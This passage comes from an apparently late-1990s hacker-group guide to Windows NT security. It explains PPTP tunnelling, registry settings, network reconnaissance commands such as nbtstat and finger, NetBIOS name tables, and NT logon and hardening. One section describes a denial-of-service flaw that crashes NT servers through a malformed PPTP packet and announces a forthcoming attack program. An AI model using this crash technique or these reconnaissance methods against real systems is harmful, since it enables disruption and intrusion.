  1963. In general practice, there are normally three computers involved in a deployment:
  1964.  
  1965. ? a PPTP client
  1966. ? a Network Access Server
  1967. ? a PPTP Server
  1968.  
  1969. note: the network access server is optional, and if NOT needed for PPTP deployment. In normal 
  1970. deployment however, they are present.
  1971.  
  1972. In a typical deployment of PPTP, it begins with a remote or mobile PC that will be the PPTP 
  1973. client. This PPTP client needs access to a private network by using a local Internet Service 
  1974. Provider (ISP). Clients who are running the WindowsNT Server or Workstation operating systems 
  1975. will use Dial-up networking and the Point-To-Point protocol to connect to their ISP. The client will 
  1976. then connect to a network access server which will be located at the ISP (Network Access 
  1977. Servers are also known as Front-End Processors (FEPs) or Point-Of-Presence servers (POPs)). 
  1978. Once connected, the client has the ability to exchange data over the Internet. The Network 
  1979. Access Server uses the TCP/IP protocol  for the handling of all traffic.
  1980.  
  1981. After the client has made the initial PPP connection to the ISP, a second Dial-Up networking call 
  1982. is made over the existing PPP connection. Data sent using the second connection is in the form 
  1983. of IP datagrams that contain PPP packets, referred to as encapsulated PPP. It is this second call 
  1984. that creates the virtual private network connection to a PPTP server on the private company 
  1985. network. This is called a tunnel.
  1986.  
  1987. Tunneling is the process of exchanging data to a computer on a private network by routing them 
  1988. over some other network. The other network routers cannot access the computer that is on the 
  1989. private network. However, tunneling enables the routing network to transmit the packet to an 
  1990. intermediary computer, such as a PPTP server. This PPTP server is connected to both the 
  1991. company private network and the routing network, which is in this case, the Internet. Both the 
  1992. PPTP client and the PPTP server use tunneling to securely transmit packets to a computer on the 
  1993. private network.
  1994.  
  1995. When the PPTP server receives a packet from the routing network (Internet), it sends it across 
  1996. the private network to the destination computer. The PPTP server does this by processing the 
  1997. PPTP packet to obtain the private network computer name or address information which is 
  1998. encapsulated in the PPP packet. 
  1999.  
  2000. quick note: The encapsulated PPP packet can contain multi-protocol data such as TCP/IP, 
  2001. IPX/SPX, or NetBEUI. Because the PPTP server is configured to communicate across the private 
  2002. network by using private network protocols, it is able to understand Multi-Protocols.
  2003.  
  2004. PPTP encapsulates the encrypted and compressed PPP packets into IP datagrams for 
  2005. transmission over the Internet. These IP datagrams are routed over the Internet where they reach 
  2006. the PPTP server. The PPTP server disassembles the IP datagram into a PPP packet and then 
  2007. decrypts the packet using the network protocol of the private network. As mentioned earlier, the 
  2008. network protocols that are supported by PPTP are TCP/IP, IPX/SPX and NetBEUI.
  2009.  
  2010. [4.0.3] PPTP Clients
  2011.  
  2012. A computer that is able to use the PPTP protocol can connect to a PPTP server two different 
  2013. ways:
  2014.  
  2015. ? By using an ISP's network access server that supports inbound PPP connections.
  2016. ? By using a physical TCP/IP-enabled LAN connection to connect to a PPTP server.
  2017.  
  2018. PPTP clients attempting to use an ISP's network access server must be properly configured with 
  2019. a modem and a VPN device to make the seperate connections to the ISP and the PPTP server. 
  2020. The first connection is dial-up connection utilizing the PPP protocol over the modem to an Internet 
  2021. Service Provider. The second connection is a VPN connection using PPTP, over the modem and 
  2022. through the ISP. The second connection requires the first connection because the tunnel between 
  2023. the VPN devices is established by using the modem and PPP connections to the internet.
  2024.  
  2025. The exception to this two connection process is using PPTP to create a virtual private network 
  2026. between computers physically connected to a LAN. In this scenario the client is already 
  2027. connected to a network and only uses Dial-Up networking with a VPN device to create the 
  2028. connection to a PPTP server on the LAN.
  2029.  
  2030. PPTP packets from a remote PPTP client and a local LAN PPTP client are processed differently. 
  2031. A PPTP packet from a remote client is placed on the telecommunication device physical media, 
  2032. while the PPTP packet from a LAN PPTP client is placed on the network adapter physical media.
  2033.  
  2034. [4.0.4] PPTP Architecture
  2035.  
  2036. This next area discusses the architecture of PPTP under Windows NT Server 4.0 and NT 
  2037. Workstation 4.0. The following section covers:
  2038.  
  2039. ? PPP Protocol
  2040. ? PPTP Control Connection
  2041. ? PPTP Data Tunneling
  2042.  
  2043. Architecture Overview:
  2044. The secure communication that is established using PPTP typically involves three processes, 
  2045. each of which requires successful completion of the previous process. This will now explain these 
  2046. processes and how they work:
  2047.  
  2048. PPP Connection and Communication: A PPTP client utilizes PPP to connect to an ISP by using a 
  2049. standard telephone line or ISDN line. This connection uses the PPP protocol to establish the 
  2050. connection and encrypt data packets.
  2051.  
  2052. PPTP Control Connection: Using the connection to the Internet established by the PPP protocol, 
  2053. the PPTP protocol creates a control connection from the PPTP client to a PPTP server on the 
  2054. Internet. This connection uses TCP to establish communication and is called a PPTP Tunnel.
  2055.  
  2056. PPTP Data Tunneling: The PPTP protocol creates IP datagrams containing encrypted PPP 
  2057. packets which are then sent through the PPTP tunnel to the PPTP server. The PPTP server 
  2058. disassembles the IP datagrams and decrypts the PPP packets, and the routes the decrypted 
  2059. packet to the private network.
  2060.  
  2061. PPP Protocol:
  2062.  
  2063. The are will not cover in depth information about PPP, it will cover the role PPP plays in a PPTP 
  2064. environment. PPP is a remote access protocol used by PPTP to send data across TCP/IP based 
  2065. networks. PPP encapsulates IP, IPX, and NetBEUI packets between PPP frames and sends the 
  2066. encapsulated packets by creating a point-to-point link between the sending and receiving 
  2067. computers. 
  2068.  
  2069. Most PPTP sessions are started by a client dialing up an ISP network access server. The PPP 
  2070. protocol is used to create the dial-up connection between the client and network access server 
  2071. and performs the folloing functions:
  2072.  
  2073. ? Establishes and ends the physical connection. The PPP protocol uses a sequence defined in 
  2074. RFC 1661 to establish and maintain connections between remote computers.
  2075. ? Authenticates Users. PPTP clients are authenticated by using PPP. Clear text, encrypted or 
  2076. MS CHAP can be used by the PPP protocol.
  2077. ? Creates PPP datagrams that contain encrypted IPX, NetBEUI, or TCP/IP packets. 
  2078.  
  2079. PPTP Control Connection:
  2080.  
  2081. The PPTP protocol specifies a series of messages that are used for session control. These 
  2082. messages are sent between a PPTP client and a PPTP server. The control messages establish, 
  2083. maintain and end the PPTP tunnel. The following list present the primary control messages used 
  2084. to establish and maintain the PPTP session.
  2085.  
  2086.     Message Type    Purpose
  2087. PPTP_START_SESSION_REQUEST    Starts Session
  2088. PPTP_START_SESSION_REPLY    Replies to Start Session Request
  2089. PPTP_ECHO_REQUEST    Maintains Session
  2090. PPTP_ECHO_REPLY    Replies to Maintain Session Request
  2091. PPTP_WAN_ERROR_NOTIFY    Reports an error in the PPP connection
  2092. PPTP_SET_LINK_INFO    Configures PPTP Client/Server Connection
  2093. PPTP_STOP_SESSION_REQUEST    Ends Session
  2094. PPTP_STOP_SESSION_REPLY    Replies to End Session Request
  2095.  
  2096. The control messages are sent inside of control packets in a TCP datagram. One TCP 
  2097. connection is enabled between the PPTP client and Server. This path is used to send and receive 
  2098. control messages. The datagram contains a PPP header, a TCP Header, a PPTP Control 
  2099. message and appropriate trailers. The construction is as follows
  2100.  
  2101. -----------------------------------
  2102. PPP Delivery Header
  2103. -----------------------------------
  2104. IP Header
  2105. -----------------------------------
  2106. PPTP Control Message
  2107. -----------------------------------
  2108. Trailers
  2109. -----------------------------------
  2110.  
  2111. PPTP Data Transmission
  2112.  
  2113. After the PPTP Tunnel has been created, user data is transmitted between the client and PPTP 
  2114. server. Data is sent in IP Datagrams containing PPP packets. The IP datagram is created using a 
  2115. modified version of the Generic Routing Encapsulation (GRE) protocol (GRE is defined in RFC 
  2116. 1701 and 1702). The structure of the IP Datagram is as follows:
  2117.  
  2118. ---------------------------------------------------
  2119. PPP Delivery Header
  2120. ---------------------------------------------------
  2121. IP Header
  2122. ---------------------------------------------------
  2123. GRE Header
  2124. ---------------------------------------------------
  2125. PPP Header
  2126. ---------------------------------------------------
  2127. IP Header
  2128. ---------------------------------------------------
  2129. TCP Header
  2130. ---------------------------------------------------
  2131. Data
  2132. ---------------------------------------------------
  2133.  
  2134. By paying attention to the construction of the packet, you can see how it would be able to be 
  2135. transmitted over the Internet as headers are stripped off. The PPP Delivery header provides 
  2136. information necessary for the datagram to traverse the Internet. The GRE header is used to 
  2137. encapsulate the PPP packet within the IP Datagram. The PPP packet is created by RAS. The 
  2138. PPP Packet is encrypted and if intercepted, would be unintelligible.
  2139.  
  2140. [4.0.5] Understanding PPTP Security
  2141.  
  2142. PPTP uses the strict authentication and encryption security available to computers running RAS 
  2143. under WindowsNT Server version 4.0. PPTP can also protect the PPTP server and private 
  2144. network by ignoring all but PPTP traffic. Despite this security, it is easy to configure a firewall to 
  2145. allow PPTP to access the network.
  2146.  
  2147. Authentication: Initial dial-in authentication may be required by an ISP network access server. If 
  2148. this Authentication is required, it is strictly to log on to the ISP, it is not related to Windows NT 
  2149. based Authentication. A PPTP server is a gateway to your network, and as such it requires 
  2150. standard WindowsNT based logon. All PPTP clients must provide a user name and password. 
  2151. Therefore, remote access logon using a PC running under NT server or Workstation is as secure 
  2152. as logging on from a PC connected to a LAN (theoretically). Authentication of remote PPTP 
  2153. clients is done by using the same PPP authentication methods used for any RAS client dialing 
  2154. directly into an NT Server. Because of this, it fully supports MS-CHAP (Microsoft Challenge 
  2155. Handshake Authentication Protocol which uses the MD4 hash as well as earlier LAN Manager 
  2156. methods.)
  2157.  
  2158. Access Control: After Authentication, all access to the private LAN continues to use existing NT 
  2159. based security structures. Access to resources on NTFS drives or to other network resources 
  2160. require the proper permissions, just as if you were connected directly to the LAN.
  2161.  
  2162. Data Encryption: For data encryption, PPTP uses the RAS "shared-secret" encryption process. It 
  2163. is referred to as a shared-secret because both ends of the connection share the encryption key. 
  2164. Under MicrosoftÆs implementation of RAS, the shared secret is the user password (Other 
  2165. methods include public key encryption). PPTP uses the PPP encryption and PPP compression 
  2166. schemes. The CCP (Compression Control Protocol) is used to negotiate the encryption used. The 
  2167. username and password is available to the server and supplied by the client. An encryption key is 
  2168. generated using a hash of the password stored on both the client and server. The RSA RC4 
  2169. standard is used to create this 40-bit (128-bit inside the US and Canada is available) session key 
  2170. based on the client password. This key is then used to encrypt and decrypt all data exchanged 
  2171. between the PPTP client and server. The data in PPP packets is encrypted. The PPP packet 
  2172. containing the block of encrypted data is then stuffed into a larger IP datagram for routing.
  2173.  
  2174. PPTP Packet Filtering: Network security from intruders can be enhanced by enabling PPTP 
  2175. filtering on the PPTP server. When PPTP filtering is enabled, the PPTP server on the private 
  2176. network accepts and routes only PPTP packets. This prevents ALL other packet types from 
  2177. entering the network. PPTP traffic uses port 1723.
  2178.  
  2179. [4.0.6] PPTP and the Registry
  2180.  
  2181. This following is a list of Windows NT Registry Keys where user defined PPTP information can be 
  2182. found:
  2183.  
  2184. KEY:    HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\RASPPTPE\
  2185.             Parameters\Configuration
  2186.  
  2187. Values: AuthenticateIncomingCalls
  2188.             DataType = REG_WORD
  2189.             Range = 0 - 1
  2190.             Default = 0
  2191.  
  2192. Set this value to 1 to force PPTP to accept calls only from IP addresses listed in the 
  2193. PeerClientIPAddresses registry value. If AuthenticateIncomingCalls is set to 1 and there are no 
  2194. addresses in PeerClientIPAddresses, the no clients will be able to connect.
  2195.  
  2196.              PeerClientIPAddresses
  2197.              DataType = REG_MULTI_SZ
  2198.              Range = The format is a valid IP address
  2199.  
  2200. This parameter is a list of IP addresses the server will accept connections from.
  2201.  
  2202. KEY:    HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\<adapter name>\
  2203.             Parameters\Tcpip
  2204.  
  2205. Values: DontAddDefaultGateway
  2206.             DataType = REG_WORD
  2207.             Range = 0 - 1
  2208.             Default = 1
  2209.  
  2210. When PPTP is installed, a default route is made for each LAN adapter. This parameter will 
  2211. disable the default route on the corporate LAN adapter.
  2212.  
  2213.              PPTPFiltering
  2214.              Key: <adaptername.\Paramters\tcpip
  2215.              ValueType: REG_WORD
  2216.              Valid Range: 0 - 1
  2217.              Default = 0
  2218.  
  2219. This parameter controls whether PPTP filtering is enabled or not.
  2220.  
  2221.              PPTPTcpMaxDataRetransmissions
  2222.              Key: Tcpip\Parameters
  2223.              ValueType: REG_WORD - Number of times to retransmit a PPTP packet.
  2224.              Valid Range: 0 - 0xFFFFFFFF
  2225.              Default: 9
  2226.  
  2227. This setting control how many times PPTP will retransmit a packet.
  2228.  
  2229. [4.0.7] Special Security Update
  2230.  
  2231. SPECIAL REVISION: As a last minute revision to the lecture. A flaw has been discovered in the 
  2232. PPTP architecture. It turns out that if you send a that if you send a pptp start session request with 
  2233. an invalid packet length in the pptp packet header that it will crash an NT box and cause the NT 
  2234. server to do a CoreDump. Fragments of code for a DoS attack package are flying, and the rhino9 
  2235. team should have a completed DoS Attack program released soon. This program is released, of 
  2236. course, for network administrators wanting to know how the bug works.
  2237.  
  2238. [5.0.0] TCP/IP Commands as Tools
  2239.  
  2240.     This is list of the most commonly used TCP/IP command line tools that are used to 
  2241. explore and find out information from a network. These tools will be referred to later on in this 
  2242. document, so its usage and function will not be explained later. Please note that not all of these 
  2243. switches remain the same across different TCP/IP stacks. The Microsoft TCP/IP stack is almost 
  2244. always different than most switches used on Unix systems.
  2245.  
  2246. [5.0.1] The Arp Command
  2247.  
  2248. The arp command will display internet to ethernet (IP to MAC) address translations which is 
  2249. normally handled by the arp protocol. When the hostname is the only parameter, this command 
  2250. will display the currect ARP entry for that hostname.
  2251.  
  2252. Usage:   arp hostname
  2253.  
  2254. Switches:     -a            Displays current ARP entries by interrogating the current
  2255.                             protocol data.  If inet_addr is specified, the IP and Physical
  2256.                             addresses for only the specified computer are displayed.  If
  2257.                             more than one network interface uses ARP, entries for each ARP
  2258.                             table are displayed.
  2259.           -g            Same as -a.
  2260.           inet_addr     Specifies an internet address.
  2261.           -N if_addr    Displays the ARP entries for the network interface specified
  2262.                                   by if_addr.
  2263.           -d            Deletes the host specified by inet_addr.
  2264.           -s            Adds the host and associates the Internet address inet_addr
  2265.                            with the Physical address eth_addr.  The Physical address is
  2266.                          given as 6 hexadecimal bytes separated by hyphens. The entry
  2267.                            is permanent.
  2268.           eth_addr      Specifies a physical address.
  2269.           if_addr       If present, this specifies the Internet address of the
  2270.                                interface whose address translation table should be modified.
  2271.                                 If not present, the first applicable interface will be used.
  2272.  
  2273.  
  2274. [5.0.2] The Traceroute Command
  2275.  
  2276. The traceroute command is used to trace the route that a packet takes to reach its destination. 
  2277. This command works by using the time to live (TTL) filed in the IP packet.
  2278.  
  2279. Usage:  tracert  IP or Hostname
  2280.  
  2281. Switches:    -d                 Do not resolve addresses to hostnames.
  2282.           -h maximum_hops    Maximum number of hops to search for target.
  2283.           -j host-list       Loose source route along host-list.
  2284.           -w timeout         Wait timeout milliseconds for each reply.
  2285.  
  2286. [5.0.3] The Netstat Command
  2287.  
  2288. This command is used to query the network subsystem regarding certain types of information. 
  2289. Different types of information will be received depending on the switches used in conjunction with 
  2290. this command.
  2291.  
  2292. Usage:  netstat [switch]
  2293.  
  2294. Switches:       -A     Shows the addresses of any associated protocol control blocks.
  2295.                         -a      Will show the status of all sockets. Sockets associated with network
  2296.                                  server processes are normally not shown.
  2297.                         -i       Shows the state of the network interfaces.
  2298.                         -m     Prints the network memory usage.
  2299.                         -n      Causes netstat to show actual addresses as opposed to hostnames or
  2300.                                   network names.
  2301.                         -r       Prints the routing table.
  2302.                         -s      Tells netstat to show the per protocol statistics.
  2303.                         -t       Replaces the queue length information with timer information.
  2304.  
  2305. [5.0.4] The Finger Command
  2306.  
  2307. By default, finger will list the login name, full name, terminal name, and write status (shown as a 
  2308. "*" before the terminal name if write permission is denied), idle time, login time, office location, 
  2309. and phone number (if known) for each current user connected to the network.
  2310.  
  2311. Usage:    finger  username@domain
  2312.  
  2313. Switches:     -b    Brief output format
  2314.              -f     Supresses the printing of the header line.
  2315.                        -i     Provides a quick list of users with idle time.
  2316.                        -l     Forces long output format.
  2317.                        -p    Supresses printing of the .plan file (if present)
  2318.                        -q    Provides a quick list of users.
  2319.                        -s    Forces short output form.
  2320.                        -w   Forces narrow output form.
  2321.  
  2322. [5.0.5] The Ping Command
  2323.  
  2324. The ping (Packet Internet Groper) is used to send ICMP (Internet Control Message Protocol) 
  2325. packets from one host to another. Ping transmits packets using the ICMP ECHO_REQUEST 
  2326. command and expects an ICMP ECHO_REPLY.
  2327.  
  2328. Usage:    ping IP address or Hostname
  2329.  
  2330. Switches:    -t             Ping the specifed host until interrupted.
  2331.                      -a             Resolve addresses to hostnames.
  2332.                      -n count       Number of echo requests to send.
  2333.                      -l size        Send buffer size.
  2334.                      -f             Set Don't Fragment flag in packet.
  2335.                      -i TTL         Time To Live.
  2336.          -v TOS         Type Of Service.
  2337.          -r count       Record route for count hops.
  2338.          -s count       Timestamp for count hops.
  2339.          -j host-list   Loose source route along host-list.
  2340.          -k host-list   Strict source route along host-list.
  2341.          -w timeout     Timeout in milliseconds to wait for each reply.
  2342.  
  2343. [5.0.6] The Nbtstat Command
  2344.  
  2345. Can be used to query the network concerning NetBIOS information. It can also be useful for 
  2346. purging the NetBIOS cache and reloading the LMHOSTS file. This one command can be 
  2347. extremely useful when performing security audits. When one knows how to interpret the 
  2348. information, it can reveal more than one might think.
  2349.  
  2350. Usage:   nbtstat [-a RemoteName] [-A IP_address] [-c] [-n] [-R] [-r] [-S] [-s] [interval]
  2351.  
  2352. Switches    -a      Lists the remote computer's name table given its host name. 
  2353.         -A      Lists the remote computer's name table given its IP address. 
  2354.         -c      Lists the remote name cache including the IP addresses.
  2355.                        Lists the remote name cache including the IP addresses Lists local 
  2356. NetBIOS
  2357.                  names. Lists names resolved by broadcast and via WINS Purges and 
  2358. reloads the
  2359.                  remote cache name table Lists sessions table with the destination IP 
  2360. addresses
  2361.                  Lists sessions table converting destination IP addresses to host names via 
  2362. the
  2363.                  hosts file. 
  2364.  
  2365.         -n      Lists local NetBIOS names. 
  2366.         -r       Lists names resolved by broadcast and via WINS. 
  2367.         -R     Purges and reloads the remote cache name table. 
  2368.         -S      Lists sessions table with the destination IP addresses. 
  2369.         -s      Lists sessions table converting destination IP addresses to host names via 
  2370. the
  2371.                   hosts file. 
  2372.         interval          This will redisplay the selected statistics, pausing for the number of     
  2373.                seconds you
  2374.                                choose as "interval" between each listing. Press CTRL+C to stop. 
  2375.  
  2376. Notes on NBTSTAT
  2377.  
  2378. The column headings generated by NBTSTAT have the following meanings:
  2379.  
  2380. Input 
  2381.      Number of bytes received. 
  2382. Output 
  2383.      Number of bytes sent. 
  2384. In/Out 
  2385.      Whether the connection is from the computer (outbound) or from another system to
  2386.      the local computer (inbound). 
  2387. Life 
  2388.      The remaining time that a name table cache entry will "live" before your computer
  2389.      purges it. 
  2390. Local Name 
  2391.      The local NetBIOS name given to the connection. 
  2392. Remote Host 
  2393.      The name or IP address of the remote host. 
  2394. Type 
  2395.      A name can have one of two types: unique or group. 
  2396.      The last byte of the 16 character NetBIOS name often means something because
  2397.      the same name can be present multiple times on the same computer. This shows
  2398.      the last byte of the name converted into hex. 
  2399. State 
  2400.      Your NetBIOS connections will be shown in one of the following "states": 
  2401.  
  2402.  
  2403.      State                   Meaning
  2404.      
  2405.      Accepting           An incoming connection is in process.
  2406.      Associated        The endpoint for a connection has been created and your computer has 
  2407. ssociated it          with an IP address.
  2408.      Connected        This is a good state! It means you're connected to the remote resource.
  2409.      Connecting       Your session is trying to resolve the name-to-IP address mapping of the 
  2410. destination                              resource.
  2411.      Disconnected   Your computer requested a disconnect, and it is waiting for the remote 
  2412. computer to do          so.
  2413.      Disconnecting  Your connection is ending.
  2414.      Idle                 The remote computer has been opened in the current session, but is currently 
  2415. not          accepting connections.
  2416.      Inbound              An inbound session is trying to connect.
  2417.      Listening            The remote computer is available.
  2418.      Outbound             Your session is creating the TCP connection.
  2419.      Reconnecting   If your connection failed on the first attempt, it will display this state as it tries 
  2420. to           reconnect.
  2421.  
  2422. Name            Number        Type        Usage
  2423. =========================================================================
  2424. <computername>    00        U        Workstation Service
  2425. <computername>    01        U        Messenger Service
  2426. <\\_MSBROWSE_>    01        G        Master Browser
  2427. <computername>    03        U        Messenger Service
  2428. <computername>    06        U        RAS Server Service
  2429. <computername>    1F        U        NetDDE Service
  2430. <computername>    20        U        File Server Service
  2431. <computername>    21        U        RAS Client Service
  2432. <computername>    22        U        Exchange Interchange 
  2433. <computername>    23        U        Exchange Store
  2434. <computername>    24        U        Exchange Directory
  2435. <computername>    30        U        Modem Sharing Server Service
  2436. <computername>    31        U        Modem Sharing Client Service
  2437. <computername>    43        U        SMS Client Remote Control
  2438. <computername>    44        U        SMS Admin Remote Control Tool
  2439. <computername>    45        U        SMS Client Remote Chat
  2440. <computername>    46        U        SMS Client Remote Transfer
  2441. <computername>    4C        U        DEC Pathworks TCPIP Service
  2442. <computername>    52        U        DEC Pathworks TCPIP Service
  2443. <computername>    87        U        Exchange MTA
  2444. <computername>    6A        U        Exchange IMC
  2445. <computername>    BE        U        Network Monitor Agent
  2446. <computername>    BF        U        Network Monitor Apps
  2447. <username>        03        U        Messenger Service
  2448. <domain>        00        G        Domain Name
  2449. <domain>        1B        U        Domain Master Browser
  2450. <domain>        1C        G        Domain Controllers
  2451. <domain>        1D        U         Master Browser
  2452. <domain>        1E        G        Browser Service Elections
  2453. <INet~Services>    1C        G        Internet Information Server
  2454. <IS~Computer_name>    00        U        Internet Information Server
  2455. <computername>    [2B]        U        Lotus Notes Server
  2456. IRISMULTICAST    [2F]        G        Lotus Notes
  2457. IRISNAMESERVER    [33]        G        Lotus Notes
  2458. Forte_$ND800ZA    [20]        U        DCA Irmalan Gateway Service
  2459.  
  2460. Unique (U): The name may have only one IP address assigned to it. On a network device, 
  2461. multiple occurences of a single name may appear to be registered, but the suffix will be unique, 
  2462. making the entire name unique.
  2463.  
  2464. Group (G): A normal group; the single name may exist with many IP addresses. 
  2465.  
  2466. Multihomed (M): The name is unique, but due to multiple network interfaces on the same 
  2467. computer, this configuration is necessary to permit the registration. Maximum number of 
  2468. addresses is 25.
  2469.  
  2470. Internet Group (I): This is a special configuration of the group name used to manage WinNT 
  2471. domain names.
  2472.  
  2473. Domain Name (D): New in NT 4.0
  2474.  
  2475. [5.0.7] The IpConfig Command
  2476.  
  2477. The ipconfig command will give you information about your current TCP/IP configuration. 
  2478. Information such as IP address, default gateway, subnet mask, etc can all be retrieved using this 
  2479. command.
  2480.  
  2481. Usage:   ipconfig [/? | /all | /release [adapter] | /renew [adapter]]
  2482.  
  2483. Switches:    /?       Display this help message.
  2484.                       /all     Display full configuration information.
  2485.                       /release Release the IP address for the specified adapter.
  2486.                       /renew   Renew the IP address for the specified adapter.
  2487.  
  2488. [5.0.8] The Telnet Command
  2489.  
  2490. Technically, telnet is a protocol. This means it is a language that computer use to communicate 
  2491. with one another in a particular way.  From your point of view, Telnet is a program that lets you 
  2492. login to a site on the Internet through your connection to Teleport. It is a terminal emulation 
  2493. program, meaning that when you connect to the remote site, your computer functions as a 
  2494. terminal for that computer.
  2495.  
  2496. Once the connection is made, you can use your computer to access information, run programs, 
  2497. edit files, and otherwise use whatever resources are available on the other computer. What is 
  2498. available depends on the computer you connect to. Most of the times, if you type '?' or 'help', you 
  2499. would normally receive some type of information, menu options, etc.
  2500.  
  2501.                      Note: telnet connections give you command-line access only. In other
  2502.                      words, instead of being able to use buttons and menus as you do with a
  2503.                      graphical interface, you have to type commands. However, telnet allows
  2504.                      you to use certain utilities and resources you cannot access with your
  2505.                      other Internet applications.
  2506.  
  2507. Usage:     telnet  hostname or IP address  port(optional)
  2508.  
  2509. [6.0.0] NT Security
  2510.  
  2511. [6.0.1] The Logon Process
  2512.  
  2513. WinLogon
  2514.  
  2515. Users must log on to a Windows NT machine in order to use that NT based machine or network. 
  2516. The logon process itself cannot be bypassed, it is mandatory. Once the user has logged on, an 
  2517. access token is created (this token will be discussed in more detail later). This token contains 
  2518. user specific security information, such as: security identifier, group identifiers, user rights and 
  2519. permissions. The user, as well as all processes spawned by the user are identified to the system 
  2520. with this token.
  2521.  
  2522. The first step in the WinLogon process is something we are all familiar with, CTRL+ALT+DEL. 
  2523. This is NT's default Security Attention Sequence (SAS - The SAS key combo can be changed. 
  2524. We will also discuss that later.). This SAS is a signal to the operating system that someone is 
  2525. trying to logon.  After the SAS is triggered, all user mode applications pause until the security 
  2526. operation completes or is cancelled. (Note: The SAS is not just a logon operation, this same key 
  2527. combination can be used for logging on, logging off, changing a password or locking the 
  2528. workstation.) The pausing, or closing, of all user mode applications during SAS is a security 
  2529. feature that most people take for granted and dont understand. Due to this pausing of 
  2530. applications, logon related trojan viruses are stopped, keyloggers (programs that run in memory, 
  2531. keeping track of keystrokes, therefor recording someones password) are stopped as well.
  2532.  
  2533. The user name is not case sensitive but the password is.
  2534.  
  2535. After typing in your information and clicking OK (or pressing enter), the WinLogon process 
  2536. supplies the information to the security subsystem, which in turn compares the information to the 
  2537. Security Accounts Manager (SAM). If the information is compliant with the information in the 
  2538. SAM, an access token is created for the user. The WinLogon takes the access token and passes 
  2539. it onto the Win32 subsytem, which in turn starts the operating systems shell. The shell, as well as 
  2540. all other spawned processes will receive a token. This token is not only used for security, but also 
  2541. allows NTs auditing and logging features to track user usage and access of network resources.
  2542.  
  2543. Note: All of the logon components are located in a file known as the Graphical Indetification and 
  2544. Authentication (GINA) module, specifically MSGINA.DLL. Under certain conditions, this file can 
  2545. be replaced, which is how you would change the SAS key combination.
  2546.  
  2547. For fine tuning of the WinLogon process, you can refer to the registry. All of the options for the 
  2548. WinLogon process are contained in the 
  2549. HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon area. 
  2550. You can also fine tune the process by using the Policy Editor.
  2551.  
  2552. Logging on to a Domain
  2553.  
  2554. If an NT machine is a participant on a Domain, you would not only need to login to the local 
  2555. machine, but the Domain as well. If a computer is a member of a Domain, the WinLogon process 
  2556. is replaced by the NetLogon process.
  2557.  
  2558. [6.0.2] Security Architecture Components
  2559.  
  2560. Local Security Authority (LSA): Also known as the security subsystem, it is the central portion of 
  2561. NT security. It handles local security policies and user authentication. The LSA also handles 
  2562. generating and logging audit messages.
  2563.  
  2564. Security Accounts Manager (SAM): The SAM handles user and group accounts, and provides 
  2565. user authentication for the LSA.
  2566.  
  2567. Security Reference Monitor (SRM): The SRM is in charge of enforcing and assuring access 
  2568. validation and auditing for the LSA. It references user account information as the user attempts to 
  2569. access resources. 
  2570.  
  2571. [6.0.3] Introduction to Securing an NT Box
  2572.  
  2573. Abstract
  2574. Microsoft Windows NT operating system provides several security features.  However, the default 
  2575. out-of-the-box configuration is highly relaxed, especially on the Workstation product.  This is 
  2576. because the operating system is sold as a shrink-wrapped product with an assumption that an 
  2577. average customer may not want to worry about a highly restrained but secure system on their 
  2578. desktop.
  2579.  
  2580. A particular installation's requirements can differ significantly from another.  Therefore, it is 
  2581. necessary for individual customers to evaluate their particular environment and requirements 
  2582. before implementing a security configuration.  This is also because implementing security settings 
  2583. can impact system configuration.  Certain applications installed on Windows NT may require 
  2584. more relaxed settings to function properly than others because of the nature of the product.  
  2585. Customers are therefore advised to careful evaluate recommendations in the context of their 
  2586. system configurations and usage.
  2587.  
  2588. If you install a Windows NT machine as a web server or a firewall, you should tighten up the 
  2589. security on that box. Ordinary machines on your internal network are less accessible than a 
  2590. machine the Internet.  A machine accessible from the Internet is more vulnerable and likely to be 
  2591. attacked.  Securing the machine gives you a bastion host. Some of the things you should do 
  2592. include:
  2593.  
  2594. ? Remove all protocol stacks except TCP/IP, since IP is the only protocol that runs on the 
  2595. Internet 
  2596. ? Remove unnecessary network bindings 
  2597. ? Disable all unnecessary accounts, like guest 
  2598. ? Remove share permissions and default shares 
  2599. ? Remove network access for everyone (User Manger -> Policies ->User rights, "Access 
  2600. this computer from the network") 
  2601. ? Disable unnecessary services 
  2602. ? Enable audit logging 
  2603. ? Track the audit information
  2604.  
  2605. [6.0.4] Physical Security Considerations
  2606. Take the precautions you would with any piece of valuable equipment to protect against casual 
  2607. theft. This step can include locking the room the computer is in when no one is there to keep an 
  2608. eye on it, or using a locked cable to attach the unit to a wall. You might also want to establish 
  2609. procedures for moving or repairing the computer so that the computer or its components cannot 
  2610. be taken under false pretenses.
  2611.  
  2612. Use a surge protector or power conditioner to protect the computer and its peripherals from 
  2613. power spikes. Also, perform regular disk scans and defragmentation to isolate bad sectors and to 
  2614. maintain the highest possible disk performance. 
  2615.  
  2616. As with minimal security, the computer should be protected as any valuable equipment would be. 
  2617. Generally, this involves keeping the computer in a building that is locked to unauthorized users, 
  2618. as most homes and offices are. In some instances you might want to use a cable and lock to 
  2619. secure the computer to its location. If the computer has a physical lock, you can lock it and keep 
  2620. the key in a safe place for additional security. However, if the key is lost or inaccessible, an 
  2621. authorized user might be unable to work on the computer.
  2622.  
  2623. You might choose to keep unauthorized users away from the power or reset switches on the 
  2624. computer, particularly if your computer's rights policy denies them the right to shut down the 
  2625. computer. The most secure computers (other than those in locked and guarded rooms) expose 
  2626. only the computer's keyboard, monitor, mouse, and (when appropriate) printer to users. The CPU 
  2627. and removable media drives can be locked away where only specifically authorized personnel 
  2628. can access them.
  2629.  
  2630. [6.0.5] Backups
  2631. Regular backups protect your data from hardware failures and honest mistakes, as well as from 
  2632. viruses and other malicious mischief. The Windows NT Backup utility is described in Chapter 6, 
  2633. "Backing Up and Restoring Network Files" in Microsoft Windows NT Server Concepts and 
  2634. Planning. For procedural information, see Help.
  2635.  
  2636. Obviously, files must be read to be backed up, and they must be written to be restored. Backup 
  2637. privileges should be limited to administrators and backup operatorsùpeople to whom you are 
  2638. comfortable giving read and write access on all files.
  2639.  
  2640. [6.0.6] Networks and Security
  2641. If the network is entirely contained in a secure building, the risk of unauthorized taps is minimized 
  2642. or eliminated. If the cabling must pass through unsecured areas, use optical fiber links rather than 
  2643. twisted pair to foil attempts to tap the wire and collect transmitted data.
  2644.  
  2645. [6.0.7] Restricting the Boot Process
  2646. Most personal computers today can start a number of different operating systems. For example, 
  2647. even if you normally start Windows NT from the C: drive, someone could select another version 
  2648. of Windows on another drive, including a floppy drive or CD-ROM drive. If this happens, security 
